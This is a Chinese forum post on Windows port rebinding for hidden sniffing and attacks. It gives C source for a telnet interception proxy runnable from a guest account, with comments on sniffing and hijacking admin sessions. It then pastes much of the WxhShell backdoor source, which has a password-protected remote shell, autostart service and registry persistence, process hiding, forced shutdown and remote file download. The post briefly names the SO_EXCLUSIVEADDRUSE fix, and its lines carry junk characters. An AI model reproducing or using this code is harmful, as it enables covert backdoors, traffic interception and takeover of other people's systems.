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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `P# h?tZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \OY2|  
}cS3mJ  
  saddr.sin_family = AF_INET; FEdyh?$  
g|nPr)<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ja 9y  
E )Hp.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wHIS}OONz  
u$a%{46  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'i`;Frmg  
y<;#*wB  
  这意味着什么?意味着可以进行如下的攻击: {ifYr(|p`  
l@Ml8+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hob%'Y5%D  
V}aXS;(r%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TF{ xFb)  
L[O+9Yh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Zu+Z7@$}/  
9I pjY~or  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +VU,U`W  
+,PBhB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .WtaU  
F] ~`57  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  ;xry  
^l iyWl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OSq"q-Q  
l'o'q7&=z  
  #include -M/ny-; `}  
  #include P+Hs6Q  
  #include v,2{Vr  
  #include    e|{6^g<ru  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xw![}L >  
  int main() 7H./o Vl  
  { hd^?svID  
  WORD wVersionRequested; C\fc 4  
  DWORD ret; *[ A%tj%  
  WSADATA wsaData; zIm$S/Qe*  
  BOOL val; ea B-u  
  SOCKADDR_IN saddr; ?(R6}ab>K7  
  SOCKADDR_IN scaddr; ) tsaDG-E  
  int err; yfaXScbE  
  SOCKET s; UUA7m$F1  
  SOCKET sc; m >'o&Hj  
  int caddsize; AQ-PY  
  HANDLE mt; IcaF 4#  
  DWORD tid;   YZmD:P  
  wVersionRequested = MAKEWORD( 2, 2 ); GMiWS:`;v`  
  err = WSAStartup( wVersionRequested, &wsaData ); _#-(XQa  
  if ( err != 0 ) { G>H&M#7K  
  printf("error!WSAStartup failed!\n"); .@xwl}o$OL  
  return -1; &z,w0FOre  
  } H!s &]b  
  saddr.sin_family = AF_INET; 1Z*-@%RX  
   ZT|E1[Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #V~r@,  
bup;4~g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ig S.U  
  saddr.sin_port = htons(23); O":x$>'t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :~`E @`/  
  {  LqU]&AAh  
  printf("error!socket failed!\n"); +F`! Jt  
  return -1; Z*kg= hs^  
  } .YLg^JfZ  
  val = TRUE; g*!2.P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,V |>nkQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M22 ^.,Z  
  { ?hmj0i;XC  
  printf("error!setsockopt failed!\n"); A$%%;O   
  return -1; B_@>HZ\&  
  } 7gPkg63  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zvD$N-#`p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c\-I+lMBi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N/^r9Nu  
-a/5   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D'A)H  
  { .dl1sv U  
  ret=GetLastError(); x?f3XEA_  
  printf("error!bind failed!\n"); R$cg\DD  
  return -1; 191O(H  
  }  ;m7$U  
  listen(s,2); k>2 xm  
  while(1) w^P4_Yr  
  { 0M:.Jhp  
  caddsize = sizeof(scaddr); "-N%`UA  
  //接受连接请求 'w!Hjq]$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &9TG&~(+  
  if(sc!=INVALID_SOCKET) g$$uf[A-SL  
  { 4Mnne'7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VNA VdP  
  if(mt==NULL) o6oZk0  
  { Rl$NiY?2  
  printf("Thread Creat Failed!\n"); lSQANC'  
  break; ']4sx_)S  
  } {TlS)i`  
  } M~P}80I  
  CloseHandle(mt); V#5BZU-  
  } 1<ZvHv  
  closesocket(s); ~` #t?1SP  
  WSACleanup(); op[OB=  
  return 0; E!jM&\Zj  
  }   ?][Mv`ST  
  DWORD WINAPI ClientThread(LPVOID lpParam) |A}E/=HPU  
  { pSc<3OI  
  SOCKET ss = (SOCKET)lpParam; !`Bb[BTf  
  SOCKET sc; >fQ-( io  
  unsigned char buf[4096]; (?)".Q0  
  SOCKADDR_IN saddr; &Zq43~  
  long num; I gA0RY1  
  DWORD val; EPdR-dC^wE  
  DWORD ret; @S<=Okrlj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ezy0m}@   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]\*g/QV  
  saddr.sin_family = AF_INET; ~@TNVkw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k >U&Us0  
  saddr.sin_port = htons(23); QT^W00h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q4q3M=0  
  { k`kmmb>  
  printf("error!socket failed!\n"); "-(yZigQ  
  return -1; ; l+3l ez  
  } %w_h8  
  val = 100; [%z~0\lu8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P\N$TYeH  
  {  +'Tr>2V  
  ret = GetLastError(); ZuILDevMD  
  return -1; 9LzQp`In  
  } F8>Fp"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c,4UnEoCR  
  { EC&w9:R  
  ret = GetLastError(); ysDfp'C,  
  return -1; |cUlXg=  
  } qdNYY&6>?u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'Pr(7^  
  { C6:<.`iD87  
  printf("error!socket connect failed!\n"); !x|OgvJ  
  closesocket(sc); h7kGs^pP  
  closesocket(ss); 9`QWqu[  
  return -1; V5%B ,.d:  
  } cm]8m_!  
  while(1) t&H):P  
  { -=5z&) X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jK3% \`o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Bk~WHg>@G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^|-xmUC  
  num = recv(ss,buf,4096,0); B k#68p  
  if(num>0) }(O 7tC  
  send(sc,buf,num,0); X=mzo\Aos  
  else if(num==0) +n9]c~g!T0  
  break; 0KU,M+_  
  num = recv(sc,buf,4096,0); )z$VQ=]"  
  if(num>0) uFL~^vz  
  send(ss,buf,num,0); O=u.PRNT8  
  else if(num==0) 69TQHJ[  
  break; \oLRNr[F  
  } b78'yM&  
  closesocket(ss); nlw(U3@7  
  closesocket(sc); #&5m=q$EI  
  return 0 ; _~| j~QE]  
  } vw>O;u.]B  
!+=jD3HTJ  
?4(uwX p  
========================================================== a[[u>oHyd  
j*rra  
下边附上一个代码,,WXhSHELL UYD(++  
&ZClv"6  
========================================================== T/dchWG  
M E4MZt:>  
#include "stdafx.h" Z"] ben  
WDW b 7  
#include <stdio.h> ?&pjP,a  
#include <string.h> 9)3ok#pQ/  
#include <windows.h> ;WO/xA-#  
#include <winsock2.h> )CYSU(YTD  
#include <winsvc.h> rwv_ RN  
#include <urlmon.h> 2.Th29]  
tB8XnO_c  
#pragma comment (lib, "Ws2_32.lib") a>(LFpVk}  
#pragma comment (lib, "urlmon.lib") }<9*eAn`  
t8E'd :pE  
#define MAX_USER   100 // 最大客户端连接数 W5<1@  
#define BUF_SOCK   200 // sock buffer Etg'"d@[  
#define KEY_BUFF   255 // 输入 buffer n$F&gx'^  
'9H7I! L@  
#define REBOOT     0   // 重启 C>4y<,Q  
#define SHUTDOWN   1   // 关机 ,a~- (@  
l;b5v]~  
#define DEF_PORT   5000 // 监听端口 ,3!l'|0jJ  
#]q<fhJhr$  
#define REG_LEN     16   // 注册表键长度 F !tn|!~  
#define SVC_LEN     80   // NT服务名长度 b6'%nR*f  
kG:uXbUI'  
// 从dll定义API =X2 Ieb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xoA\^AA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4Fgy<^94`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xbxU`2/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q]`XUGC  
F'|D  
// wxhshell配置信息 Xd!=1 ::  
struct WSCFG { %AF~Ki  
  int ws_port;         // 监听端口 &JVe -.  
  char ws_passstr[REG_LEN]; // 口令 7ZI!$J|  
  int ws_autoins;       // 安装标记, 1=yes 0=no r2]:'O6  
  char ws_regname[REG_LEN]; // 注册表键名 ;sT7c1X^!  
  char ws_svcname[REG_LEN]; // 服务名 N^Xb_jg;J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G sm5L<rx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w3a`G|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {k-GWYFA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sV@kQ:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q%]0%S?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2v0lWO~c7z  
\Se>u4~L  
}; BXiuVx  
7N+No.vR.  
// default Wxhshell configuration uZ&,tH/  
struct WSCFG wscfg={DEF_PORT, Ia*eb%HG  
    "xuhuanlingzhe", 8B"jvrs  
    1, g|a2z_R  
    "Wxhshell", <*<7p{x  
    "Wxhshell", JM0'V0z  
            "WxhShell Service", WJ9Jj69  
    "Wrsky Windows CmdShell Service", {*bXO8vi((  
    "Please Input Your Password: ", l}&egq DC  
  1, EX7gTf#  
  "http://www.wrsky.com/wxhshell.exe", -\:pbR  
  "Wxhshell.exe" .Vj;[p8  
    }; 6=3}gd5  
osB[KRT>("  
// 消息定义模块 g<-x"$(C&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f>g>7OsD]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B5hk]=Ud  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iEux`CcJ.  
char *msg_ws_ext="\n\rExit."; P PZxH}J.  
char *msg_ws_end="\n\rQuit."; L&+XFntR  
char *msg_ws_boot="\n\rReboot..."; d}GO(  
char *msg_ws_poff="\n\rShutdown..."; "<SK=W  
char *msg_ws_down="\n\rSave to "; H1N_  
4nzUDeI3MG  
char *msg_ws_err="\n\rErr!"; s(q\!\FS  
char *msg_ws_ok="\n\rOK!"; )zkk%mE/IM  
<v&>&;>3  
char ExeFile[MAX_PATH]; dW Y0  
int nUser = 0; 7rw}q~CE5  
HANDLE handles[MAX_USER]; IKb 7#Ut  
int OsIsNt; lwIU|T<4  
gm B?L0UV  
SERVICE_STATUS       serviceStatus; %,g6:Zc@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~Aq;g$IJZ  
NYz{ [LM  
// 函数声明 #>g]CRN  
int Install(void); ^|5bK_Z&  
int Uninstall(void); g!(j.xe  
int DownloadFile(char *sURL, SOCKET wsh); ZMQSy7  
int Boot(int flag); DJr{;t$7~  
void HideProc(void); LGGC=;{}  
int GetOsVer(void); !U>711$  
int Wxhshell(SOCKET wsl); @5K/z<p%  
void TalkWithClient(void *cs); /PN[g~3  
int CmdShell(SOCKET sock); UbE*x2N  
int StartFromService(void); <ppM\$  
int StartWxhshell(LPSTR lpCmdLine); =ltT6of@o  
]e@'9`G-'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P(8zJk6h),  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *D! $gfa  
/KFCq|;7s,  
// 数据结构和表定义 sqFMO+  
SERVICE_TABLE_ENTRY DispatchTable[] = ";AM3  
{ PXz,[<ET?#  
{wscfg.ws_svcname, NTServiceMain}, hJ 4]GA'  
{NULL, NULL} 6":=p:PT.  
}; r'wam]1Z  
V4ml& D  
// 自我安装 6;i]v|M-  
int Install(void) 4<CHwIRHY  
{ OV8Y)%t"  
  char svExeFile[MAX_PATH]; q$7WZ+Y\  
  HKEY key; [vV]lWOp'  
  strcpy(svExeFile,ExeFile); f mILkXKz  
dp\pkx7  
// 如果是win9x系统,修改注册表设为自启动 M^DYzJ  
if(!OsIsNt) { =t\HtAXn[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $q);xs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w0(A7L:L  
  RegCloseKey(key); xH#R_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u snbGkq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UmZ#Cm  
  RegCloseKey(key); ig3HPlC  
  return 0; fx2r\ usX[  
    } : &>PN,q>  
  } &$ZJfHD@  
} ,E2Tw-%  
else { xhLVLXZ9  
]p~w`_3v  
// 如果是NT以上系统,安装为系统服务 ?a+>%uWt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UM%]A'h2O"  
if (schSCManager!=0) l?LwQmq6  
{ a[bu{Z]%  
  SC_HANDLE schService = CreateService 42kr&UY&  
  ( |{udd~oE&  
  schSCManager, gZF-zhnC  
  wscfg.ws_svcname, GawQ~rD  
  wscfg.ws_svcdisp, tP8>0\$)  
  SERVICE_ALL_ACCESS, t$m~O?I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0+p <Jc!  
  SERVICE_AUTO_START, EUevR/S  
  SERVICE_ERROR_NORMAL, 9;KQ3.Fa}q  
  svExeFile, wGD*25M7$  
  NULL, bII pJQ1.[  
  NULL, -}Vnr\f  
  NULL, RuSKJ,T:9  
  NULL, Ucr$5^ME  
  NULL |Y?1rLC  
  ); qT}<D`\  
  if (schService!=0) tJ`tXO  
  { &6V[@gmD  
  CloseServiceHandle(schService); <XG&f  
  CloseServiceHandle(schSCManager); E0]B=-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aGY R:jR$  
  strcat(svExeFile,wscfg.ws_svcname); IGqg,OEAp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #m [R1G#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s>hNwb/  
  RegCloseKey(key); PoTJ4z  
  return 0; 6wK>SW)#&j  
    } mDZ/Kp{  
  } L,6v!9@  
  CloseServiceHandle(schSCManager); H y}oSy26  
} 30 e>C  
} AlF"1X02  
Q |,(C0<G  
return 1; If[4]-dq  
} 8>Az<EF^=#  
P]w5`aBM  
// 自我卸载 M,nX@8 _h  
int Uninstall(void) X}x"+ #\<@  
{ c&4EO|  
  HKEY key; C],"va  
.)J7 \z8m  
if(!OsIsNt) { ;Qe-y|>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;>YLL}]j  
  RegDeleteValue(key,wscfg.ws_regname); @$o.Z;83`r  
  RegCloseKey(key); &/o4R:i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { otTv,T182  
  RegDeleteValue(key,wscfg.ws_regname); KU:RS+,e;  
  RegCloseKey(key); TKJs'%Q7F6  
  return 0; IqEE.XhaK  
  } zpi Q;P  
} x -CTMKX  
} fL-lx-~  
else { pK/r{/>r  
oihn`DY {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,i0Dw"/u  
if (schSCManager!=0) PX!$w*q  
{ gt]k#(S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DXFU~J*  
  if (schService!=0) ]=Im0s  
  { !' ;1;k);  
  if(DeleteService(schService)!=0) { ,6N|?<26O  
  CloseServiceHandle(schService); .T;:6/??1  
  CloseServiceHandle(schSCManager); iN\m:m  
  return 0; Jc8^m0_  
  } ^!a4!DGVT  
  CloseServiceHandle(schService); l;F\s&^  
  } m/M=.\]  
  CloseServiceHandle(schSCManager); ~@Yiwp\"  
} +r8:t5:/I  
} xLX2F   
Z9S5rPHEL  
return 1; 'F-; uN  
} v/ $~ifY"  
,_+Gb  
// 从指定url下载文件 gl.uDO%.  
int DownloadFile(char *sURL, SOCKET wsh) (^),G-]  
{  S(* u_  
  HRESULT hr; YF)uAJAk  
char seps[]= "/"; barY13)$U  
char *token; U1oZ\Mh  
char *file; )I&,kH)+  
char myURL[MAX_PATH]; ,hO*W-a% 1  
char myFILE[MAX_PATH]; ;iB9\p$K)  
4\?z^^  
strcpy(myURL,sURL);  DT2uUf  
  token=strtok(myURL,seps); (3. B\8s  
  while(token!=NULL) S1d^mu  
  { 8/i];/,v*M  
    file=token; &oJ1v<`  
  token=strtok(NULL,seps); 5f#N$mh  
  } 2lb HUK  
z8VcV*6  
GetCurrentDirectory(MAX_PATH,myFILE); 8rV"? m`S  
strcat(myFILE, "\\"); zeqwmV=  
strcat(myFILE, file); v,}Mn7:  
  send(wsh,myFILE,strlen(myFILE),0); JCe%;U  
send(wsh,"...",3,0); ^$>Q6.x?*)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [ :Upn)9  
  if(hr==S_OK) 0eMO`8u[A  
return 0; 0R21"]L_M  
else Ka4KsJN  
return 1; .<fn+]  
K$1(HbL  
} Q L 1e  
.5_zh; `  
// 系统电源模块 ]S2F9  
int Boot(int flag) Xh5&J9pw   
{ EOj.Jrs~  
  HANDLE hToken; v.Vd js  
  TOKEN_PRIVILEGES tkp; . .5s 2  
s* ;rt  
  if(OsIsNt) { (=\))t8J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;L`NF"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GZq~Pl  
    tkp.PrivilegeCount = 1; - f&m4J} E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #TUuk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f)_k_<  
if(flag==REBOOT) { g6D7Y<}d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l b9O  
  return 0; > r %:!o  
} |XrGf2P9u  
else { :q>uj5%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p~A6:"8s`=  
  return 0; h 2QJQ|7a  
} N9S?c  
  } Jx+e_k$gHO  
  else { C CDO8  
if(flag==REBOOT) { dEu\}y|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &_1x-@oI2:  
  return 0; j9sLR  
} ~@ H9h<T  
else { )a=FhSB[G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4 (>8tP\Y  
  return 0; hy}n&h  
} n/ CP2A  
} SHA6;y+U/~  
}i F|NIV  
return 1; zcE` .)y  
} vEZd;40y  
77/j}Pxh  
// win9x进程隐藏模块 }C'h<%[P  
void HideProc(void) 0l'"idra  
{ ugy:^U  
c#L.I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b~td ^  
  if ( hKernel != NULL ) sUl _W"aQ  
  { 95IR.Qfn!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rq[VP#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  QUb#84  
    FreeLibrary(hKernel); 3E$h W  
  } y,F|L?dIq  
;\],R.!  
return; ( L 8V)1N  
} D>6vI  
*7`amF-  
// 获取操作系统版本 "t >WM  
int GetOsVer(void) +'`I]K>  
{ Yw6d-5=:  
  OSVERSIONINFO winfo; jQ X9KwSP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Egm-PoPe  
  GetVersionEx(&winfo); X B[C&3I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J,_IHzO~Z  
  return 1; @"vTz8oY@  
  else q6T>y%|FZ  
  return 0; Pm=i(TBS/  
} eFz!`a^dX  
52v@zDY  
// 客户端句柄模块 A5 <T7~U  
int Wxhshell(SOCKET wsl) nK>D& S_!  
{ s g6e% 5  
  SOCKET wsh; hNL_ e3  
  struct sockaddr_in client; Wg[ThaZ  
  DWORD myID; p8X$yv  
 $1.l|  
  while(nUser<MAX_USER) )%Lgo${[;  
{ HI!bq%TZ4  
  int nSize=sizeof(client); dx)v`.%V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p}MH LM  
  if(wsh==INVALID_SOCKET) return 1; :}+m[g  
`XK+Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &?0hj@kd~  
if(handles[nUser]==0) [h@MA|  
  closesocket(wsh); NB .&J7v  
else g 6!#n  
  nUser++;  rT!9{uK  
  } an` GY&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |7:{vA5  
q@ %9Y3  
  return 0; D]zpG  
} ?{KC@c*c  
Jo9!:2?  
// 关闭 socket jKhj 7dR  
void CloseIt(SOCKET wsh) EC f $  
{ i= s>a;*#  
closesocket(wsh); /GU%{nT  
nUser--; H\RuYCn2G  
ExitThread(0); F^}n7h=qk  
} $-R9J6NN  
z! DD'8r>  
// 客户端请求句柄 Xb5 $ijH  
void TalkWithClient(void *cs) ;h#nal>w@S  
{ F/chE c V  
QP[`*X  
  SOCKET wsh=(SOCKET)cs; D OGg=`XK1  
  char pwd[SVC_LEN]; ]qNPOnlp  
  char cmd[KEY_BUFF]; 8+U':xR  
char chr[1]; 90]{4]y;  
int i,j; Nk/Ms:57y  
c69M   
  while (nUser < MAX_USER) { Jm {~H%  
R:FyCT_,  
if(wscfg.ws_passstr) { *l\vqgv.Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zP;1mN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u9^R ?y  
  //ZeroMemory(pwd,KEY_BUFF); )`gE-udR  
      i=0; #zv'N  
  while(i<SVC_LEN) { 8- ]7>2?_  
(??|\ &DTi  
  // 设置超时 sow/JLlbC  
  fd_set FdRead; &`A2&mZ  
  struct timeval TimeOut; Co^a$K  
  FD_ZERO(&FdRead); ICI8xP}a?  
  FD_SET(wsh,&FdRead); * S>,5R0k  
  TimeOut.tv_sec=8; fP 5!`8  
  TimeOut.tv_usec=0; ?.&?4*u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -"Q[n,"Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X>6VucH{\  
fl18x;^I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u#m(Py  
  pwd=chr[0]; BlvNBB1^  
  if(chr[0]==0xd || chr[0]==0xa) { !WReThq  
  pwd=0; ^Wz3 q-^  
  break; [j`-R 0Np  
  } Cb/?hT  
  i++; @5-+>\Hd^t  
    } *tZ#^YG{(  
vaEAjg*To<  
  // 如果是非法用户,关闭 socket .+c YzS] !  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sw@* N  
} S.Fip _  
DLrG-C33  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6lc/_&0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Jw4^ob  
lt&30nf=  
while(1) { I NE,/a=  
mmn1yX:d  
  ZeroMemory(cmd,KEY_BUFF); ,w/f :-y  
'd@Vusq}2  
      // 自动支持客户端 telnet标准   umWZ]8  
  j=0; 7F{=bL  
  while(j<KEY_BUFF) { @tLoU%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4)3!n*I  
  cmd[j]=chr[0]; y[!4M+jj  
  if(chr[0]==0xa || chr[0]==0xd) { +/Lf4??JV  
  cmd[j]=0; .iL_3:6f  
  break; K{00 V#  
  } x{|n>3l`b9  
  j++; 7#R& OQ  
    } S-:7P.#Q  
7TQh'j   
  // 下载文件 S hM}w/4  
  if(strstr(cmd,"http://")) { ;,h*s, i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IBzHXa>75  
  if(DownloadFile(cmd,wsh)) =9;jVaEMJL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h6xli  
  else Pk; 9\0k7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K,IPVjS  
  } =c8U:\0  
  else { r_Rjjo  
uGQCW\!"4  
    switch(cmd[0]) { ka&-tGg  
  uXNf)?MpA  
  // 帮助 /m;w~ -N  
  case '?': { Vy:ER  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); */L;6_  
    break; NW9k.D%  
  } [vaG{4m  
  // 安装 ^IGTGY]s  
  case 'i': { A{E0 a:v  
    if(Install()) Y4Z?`TL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xklp6{VH9  
    else NwG&uc+Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [VPqI~u5)  
    break; '}5}wCLA  
    } ~^"cq S(  
  // 卸载 HC8{);  
  case 'r': { V_(?mC  
    if(Uninstall()) Iq\sf-1E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6iFd[<.*j  
    else b['TRYc=:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,9#G/nF  
    break; k- sbZL  
    } {Pg7IYjH  
  // 显示 wxhshell 所在路径 V]PTAhc  
  case 'p': { M{7EFTy!y  
    char svExeFile[MAX_PATH]; _pNUI {De  
    strcpy(svExeFile,"\n\r"); `z3?ET  
      strcat(svExeFile,ExeFile); kx1-.~)p(z  
        send(wsh,svExeFile,strlen(svExeFile),0); Y#6@0Nn[G  
    break; ^D B0C  
    } T"Q4vk,3*J  
  // 重启 l{Hi5x'H  
  case 'b': { JPUDnPr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;8g#"p*&  
    if(Boot(REBOOT)) ){>;eky  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~pj9_I  
    else { US7hKNm.  
    closesocket(wsh); _jZDSz|Yb  
    ExitThread(0); -lMC{~h\(S  
    } nwN<Q\]S  
    break; KX<RD|=  
    } jVRd[  
  // 关机 X2i<2N*@  
  case 'd': { eS@RA2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oqDW}>.  
